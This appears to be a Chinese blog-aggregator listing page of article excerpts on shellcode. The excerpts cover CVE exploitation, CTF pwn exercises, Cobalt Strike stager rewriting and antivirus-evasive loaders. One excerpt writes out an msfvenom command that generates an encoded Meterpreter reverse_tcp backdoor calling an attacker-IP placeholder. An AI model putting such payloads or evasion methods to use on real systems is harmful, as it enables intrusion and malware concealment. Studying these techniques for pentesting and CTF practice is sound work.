E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
Shellcode
CVE-2019-9766漏洞实战
1.利用msf生成反向连接的
shellcode
2.构造具有反弹shell的MP3文件将上一步标记的部分替换脚本中的
shellcode
3.运行脚本,生成恶意mp3文件4.msf设置监听并运行exploit5
儒道易行
·
2023-10-21 20:22
4.漏洞文库
#
8.操作系统漏洞
渗透测试
web安全
代码审计
java
开发语言
msf生成linux
shellcode
,使用MSF打造各种
ShellCode
生成各种后门Windows:msfvenom-ax86--platformWindows-pwindows/meterpreter/reverse_tcpLHOST=攻击机IPLPORT=攻击机端口-ex86/shikata_ga_nai-b'\x00\x0a\xff'-i3-fexe-opayload.exeLinux:msfvenom-ax86--platformLinux-plinux/x8
weixin_39866419
·
2023-10-20 03:10
msf生成linux
shellcode
Kali Linux学习笔记—Windows缓冲区溢出攻击
PASS命令接收到大量数据时是否会溢出02.py3.精确定位EIP中存放的是第几个字符03.py4.精确定位唯一字符串法04.py5.精确修改—发送A*2606+B*4+C*2005.py6.寻找可存放
shellcode
江河湖海:D
·
2023-10-19 02:09
渗透测试
渗透测试
CS 4.7 Stager 逆向及
Shellcode
一
1.概述一直很想有一个自己的控,奈何实力不允许,CS仍然是目前市面上最好用的控,但是也被各大厂商盯得很紧,通过加载器的方式进行免杀效果有限,后来看到有人用go重写了CS的beacon,感觉这个思路很好,但是go编译的也有很多问题,加载起来会有很多受限的地方,所以想着能不能用C去重写一个,不过beacon的功能很多,短时间去重写有点费劲,所以想先重写CS的stager部分,并能转化成shellcod
喜欢蹲局子的小猿同学
·
2023-10-17 23:54
单片机
stm32
嵌入式硬件
mysql
android
数据库
开发语言
CS 4.7 Stager 逆向及
Shellcode
重写4
1.概述一直很想有一个自己的控,奈何实力不允许,CS仍然是目前市面上最好用的控,但是也被各大厂商盯得很紧,通过加载器的方式进行免杀效果有限,后来看到有人用go重写了CS的beacon,感觉这个思路很好,但是go编译的也有很多问题,加载起来会有很多受限的地方,所以想着能不能用C去重写一个,不过beacon的功能很多,短时间去重写有点费劲,所以想先重写CS的stager部分,并能转化成shellcod
喜欢蹲局子的小猿同学
·
2023-10-17 23:53
单片机
stm32
嵌入式硬件
rust
开发语言
Windows内核-远程CALL(劫持线程)
以劫持线程的方式实现远程CALL包括劫持原理,代码实现获取主线程挂起线程函数定位恢复线程函数定位获取当前线程RIP构建
shellcode
劫持RIP及修复返回地址测试DNF喇叭公告对游戏安全感兴趣人群学习地址
游戏逆向
·
2023-10-14 21:28
[BUUCTF]PWN——jarvisoj_level1
习惯性的检索程序里的字符串,没有发现可以直接利用的gates,main函数开始看程序function函数参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们由于没有开启nx,所以我们可以先通过read读入
shellcode
Angel~Yan
·
2023-10-14 20:24
BUUCTF刷题记录
PWN
七天学习Go语言-从0到0.01
前言:(不喜欢的跳过)最近,准确的说近几年来Go语言就一直都是一个十分热门的语言,特别是对于安全圈,其实用python的脚本的一直都高过于go脚本,不过近些来也有很多奇奇怪怪的面试官喜欢问,go语言免杀
shellcode
vlan911
·
2023-10-13 04:47
Golang
学习
golang
开发语言
python加载
shellcode
免杀
1、第一个
shellcode
加载器importctypes#msf生成的
shellcode
,命令:msfvenom-ex64/xor_dynamic-i16-pwindows/x64/meterpreter_reverse_tcplhost
ctostm
·
2023-10-13 00:27
python
网络
开发语言
网络安全
web安全
安全
NewStarCTF 公开赛wp
NewStarCTF公开赛wpret2textcalcret2libcret2
shellcode
ret2text这里有个栈溢出,话不多说,上脚本。
thna0s
·
2023-10-10 22:46
pwnstudy
安全
Shellcode
免杀,过360、火绒、windows-Defender
shellcode
简介
Shellcode
,顾名思义是一段拿来执行的代码片段,我们可以使用
Shellcode
来完成我们需要的任务弹窗的代码,可以被认为是一段
Shellcode
,获取某个模块的基址的代码,也可以被认为是一段
刘—手
·
2023-10-07 18:04
免杀
渗透测试工具
信息安全
安全
web安全
免杀
windows
开发语言
ret2syscall
stackoverflow/basic-rop-zh/checksec,查看程序保护机制,开了NXida,main函数,f5gets函数,存在栈溢出,先算一下偏移量为112发现nosystemandno
shellcode
y1deer
·
2023-10-05 01:08
0day 第10章--10.4节:攻击异常处理突破GS(2)
将SHE句柄覆盖为
shellcode
地址即可。
Angelki
·
2023-10-04 20:30
0day
0day 第10章--10.4节:攻击异常处理突破GS(1)
将SHE句柄覆盖为
shellcode
地址即可。实验环境:Winxpsp3vs2010Release版本、禁用优化根据网上把safeseh关闭了,但是没用。。。
Angelki
·
2023-10-04 20:59
0day
Linux pwn入门教程(2)——
shellcode
的使用,原理与变形
作者:Tangerine@SAINTSEC0×00
shellcode
的使用在上一篇文章中我们学习了怎么使用栈溢出劫持程序的执行流程。为了减少难度,演示和作业题程序里都带有很明显的后门。
张悠悠66
·
2023-10-04 15:12
web安全
ret2
shellcode
的泄露puts@got表
disassemblemain获取read@plt地址0x4005000x000000000040067e:call0x400500disassemble0x400500地址发现
[email protected]
会执行jmp指令jmp到的其实这是plt表对应函数的got表查看jmp地址的内存内容x/20gx0x601028发现
[email protected]
保存了read函数的blic中的地址callread—>r
wing_7
·
2023-10-04 14:41
win
docker
操作系统原理
linux
java
html
jvm
【pwn】记一道
shellcode
侧信道攻击
【pwn】记一道
shellcode
侧信道攻击前言契机来源于K0nashi师傅给的一道题目,让我来写写
shellcode
,那当然是写啊!
woodwhale
·
2023-10-04 14:10
pwn
pwn
shellcode
sideattack
利用ret2libc绕过DEP安全机制
栈空间也被操作系统设置了不可执行属性,因此注入的
Shellcode
就无法执行了导向系统库函数执行(ret2libc)攻击方法:系统函数库(Linux称为glibc)有个s
_well_s
·
2023-10-04 14:37
CTF
安全
DEP
ret2libc
栈溢出学习(二)之 jmp esp & return2libc
前言栈溢出学习(二),讲述jmpesp&&return2libc原理及其实践方法系列文章栈溢出学习(一)之利用预留后门&return2
shellcode
栈溢出学习(二)之jmpesp&return2libc
Pz_mstr
·
2023-10-04 14:06
【pwn】
pwn
栈溢出
PWN ret2text
0X01什么是ROPROP就是
shellcode
的一种特殊写法。ROP技术就是不需要自己动手写
shellcode
,只是利用文件中给出的多个跳转指令,实现利用原有代码达到获取shell的目的。
prettyX
·
2023-10-04 14:36
PWN
PWN
linux_pwn(5)--ret2syscall x64&&[极客大挑战 2019]Not Bad
文章目录Whatisret2syscallpwn题思路例题保护机制写payload打开flag读取flag写到输出中生成
shellcode
开始做题调用read(0,mem,0x1000)把我们真正的
shellcode
azraelxuemo
·
2023-10-04 14:05
linux_pwn
安全
系统安全
PWN入门系列(3)ROP的利用
ret2
shellcode
原理ret2
shellcode
,即控制程序
shellcode
代码。
二进制菜鸟K1rito
·
2023-10-04 14:05
安全
web安全
python
【PWN · ret2
shellcode
| “jmp esp“】[i春秋]ret2
shellcode
当溢出长度不足时,如何将
shellcode
放入padding位值,并执行呢?
Mr_Fmnwon
·
2023-10-04 14:34
【PWN
·
ret2shellcode】
pwn
ret2shellcode
免杀对抗-成品EXE免杀-反特征码-通用跳转
一、exe程序生成1.使用如下
shellcode
加载器,生成c/c++语言的exe程序加载器:1.c#include#include#pragmacomment(linker,"/section:.data
xiaoheizi安全
·
2023-10-04 11:53
免杀对抗
网络安全
PWN入门(6)写入
shellcode
简介“pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为‘p’与‘o’在标准英文键盘上的位置是相邻的,PWN也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用下载这个github库,进入05文件夹https://
Ba1_Ma0
·
2023-10-03 22:26
pwn
linux
网络安全
PWN
CTF
PWN总结
文章目录1.gdb基本命令2.radare2基本指令3.pwnTools使用3.1.安装3.2.基本模块3.3.Tubes读写接口3.4.汇编与反汇编3.5.
shellcode
生成器3.6.elf文件操作
醉等佳人归
·
2023-10-03 00:57
网络安全学习
逆向
pwn入门小技巧
,整数溢出,格式化字符串目前ctf的题越来越偏向于实际,有的会使用刚刚爆出来的CVE漏洞的,所以不能只局限于glibc所以可以大体分为两类把:libc,kernel栈利用:有ret2libc,ret2
shellcode
是脆脆啊
·
2023-10-03 00:56
pwn
安全
web安全
ciscn_2019_s_9
littleRELRO:PartialRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(0x8048000)RWX:HasRWXsegments32位,啥也没开,开心愉悦写
shellcode
intpwn
YameMres
·
2023-10-01 23:08
Buuoj刷题
安全
picoctf_2018_
shellcode
picoctf_2018_
shellcode
Arch:i386-32-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(
YameMres
·
2023-10-01 23:05
Buuoj刷题
安全
【逆向】在程序空白区添加
Shellcode
目录硬编码内存对齐和文件对齐节表实战滴水逆向03-17#includeLRESULTCALLBACKWndProc(HWNDhwnd,UINTmsg,WPARAMwParam,LPARAMlParam);intWINAPIWinMain(HINSTANCEhInstance,HINSTANCEhPrevInstance,PSTRszCmdLine,intiCmdShow){//定义窗口类WNDCL
cccsl_
·
2023-10-01 06:34
滴水逆向
单片机
嵌入式硬件
mrctf2020_
shellcode
_revenge
mrctf2020_
shellcode
_revengeArch:amd64-64-littleRELRO:FullRELROStack:NocanaryfoundNX:NXdisabledPIE:PIEenabledRWX
YameMres
·
2023-09-30 13:08
Buuoj刷题
安全
Windows 内存漏洞缓解措施
Shellcode
利用缓解GSGS又称栈COOKIE,主要是为了防御栈溢出,而且非常有效绕过1)使用栈中的数据结构进行绕过,典型的虚函数(对象)、数组、指针结构,COOKIE只对有字符缓冲区局部变量的函数进行防御
Flying ladybird
·
2023-09-30 05:04
Windows
漏洞分析
防御性安全
Windows
利用缓解
内存漏洞
ASLR
DEP
免杀对抗-Nim语言免杀-加载工具+加载方式
Nim语言-加载工具-Nim
ShellCode
Loader项目配置环境:1.下载Nim语言&配置bin目录环境变量链接:https://nim-lang.org/install_windows.html
xiaoheizi安全
·
2023-09-29 23:40
免杀对抗
安全
网络安全
免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写
无文件落地&分离拆分无文件落地&分离拆分其实就是内存免杀,内存免杀是将
shellcode
直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。
xiaoheizi安全
·
2023-09-27 10:52
免杀对抗
网络安全
python
安全
免杀对抗-内存加载-
shellcode
转换-UUID+MAC+IPV4
内存加载-UUID地址-
ShellCode
转换介绍:通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。
xiaoheizi安全
·
2023-09-27 10:16
免杀对抗
网络安全
安全
Golang基础之关键字
Type参考##https://blog.csdn.net/
SHELLCODE
_8BIT/article/details/122837699type有如下几种用法:定义结构体定义接口类型定义类型别名类型查询类型定义
叱咤少帅(少帅)
·
2023-09-26 22:42
Golang
go
认识
ShellCode
1认识
SHELLCODE
shellcode
的本质其实就是一段可以自主运行的代码。
凌木LSJ
·
2023-09-25 15:33
Web安全
网络安全
系统安全
web安全
免杀对抗-java语言-
shellcode
免杀-源码修改+打包exe
JAVA-
ShellCode
免杀-源码修改&打包EXE
Shellcode
-生成/上线1.msf生成
shellcode
命令:msfvenom-pjava/meterpreter/reverse_tcpLHOST
xiaoheizi安全
·
2023-09-24 15:34
免杀对抗
java
网络安全
免杀对抗-C#+go语言-混淆+防反编译+分离
C#&NET-
ShellCode
-生成/上线一、生成:1.msf生成C#语言的
shellcode
命令:msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST
xiaoheizi安全
·
2023-09-24 15:03
免杀对抗
golang
网络安全
c#
恶意软件分析资料大合集
恶意软件集合匿名代理蜜罐恶意软件样本库开源威胁情报工具其他资源检测与分类在线扫描与沙盒域名分析浏览器恶意软件文档和
Shellcode
文件提取去混淆调试和逆向工程网络内存取证Windows神器存储和工作流杂项资源书籍
hacker鬼七
·
2023-09-24 10:21
网络
网络安全
web安全
安全
黑客圈专业术语总结
1.POC、EXP、Payload与
Shellcode
POC:全称’ProofofConcept',中文’概念验证’,常指一段漏洞证明的代码。
hacker鬼七
·
2023-09-24 09:51
web安全
安全
网络安全
网络
CS 4.7 Stager 逆向及
Shellcode
重写
1.概述一直很想有一个自己的控,奈何实力不允许,CS仍然是目前市面上最好用的控,但是也被各大厂商盯得很紧,通过加载器的方式进行免杀效果有限,后来看到有人用go重写了CS的beacon,感觉这个思路很好,但是go编译的也有很多问题,加载起来会有很多受限的地方,所以想着能不能用C去重写一个,不过beacon的功能很多,短时间去重写有点费劲,所以想先重写CS的stager部分,并能转化成shellcod
小袁同学爱学习
·
2023-09-24 07:02
单片机
stm32
嵌入式硬件
开发语言
python
数据库
服务器
Rust免杀
Shellcode
加载与混淆2
Shellcode
加载方式本文的主要目的是分享Rust对shellc
小袁同学爱学习
·
2023-09-24 06:23
rust
开发语言
后端
学习
python
数据分析
数据挖掘
pwn — ret2
shellcode
Ret2
shellcode
:按惯例检查保护,发现啥都没开用ida打开看main函数发现了gets和strncpy函数,将gets里的s的值存入了buf2题文中无system,无
shellcode
(据说是长成
YeeZi_
·
2023-09-24 03:16
Metasploit(二)
搜索带有0708字样的模块useexploit模块--使用模块showoptions–查看配置set…–设置配置check--漏洞检测(可省略)use–使用exploit模块攻击Metasploit生成
shellcode
echokp
·
2023-09-23 15:56
工具
扫描测试工具
渗透中 POC、EXP、Payload、
Shellcode
的区别
渗透中PoC、Exp、Payload、
Shellcode
的区别不同含义:POC=ProofofConcept中文意思是“观点证明”。
Bulldozer Coder
·
2023-09-20 02:36
安全
web安全
安全
POC
EXP
payload
shellcode
免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall
Python-MSF/CS生成
shellcode
-上线cs上线1.生成
shellcode
-c或者python2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去
shellcode
执行代码
xiaoheizi安全
·
2023-09-18 00:25
免杀对抗
python
算法
网络安全
【操作系统安全】_Win7&Win8系列提权漏洞
文章目录漏洞概述和复现复现环境复现过程管理员身份复现普通用户复现基础知识系统调用SSDT表和ShadowSSDT表和HalDispatchTable硬件抽象层调度表R3任意修改R0地址空间内存漏洞原理查看exp源代码漏洞分析利用漏洞写一段获取System进程令牌的
shellcode
区块链市场观察家
·
2023-09-17 01:08
学校课程
pwnable.kr之echo1
拖进IDA分析第一项选项对应的函数是echo1,该函数存在明显的栈溢出.echo1-2.JPGecho1-3.JPG如果checksec的话可以发现该elf缓解技术几乎没开,可以采用覆盖返回值+跳转到
shellcode
hyrathon
·
2023-09-15 09:56
2.12 PE结构:实现PE字节注入
本章笔者将介绍一种通过Metasploit生成
ShellCode
并将其注入到特定PE文件内的Shell注入技术。
微软技术分享
·
2023-09-12 03:41
《Visual
C++
安全编程技术实践》
《灰帽黑客:攻守道》
PE结构
微软技术
C++
Visual
C++
信息安全
上一页
1
2
3
4
5
6
7
8
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他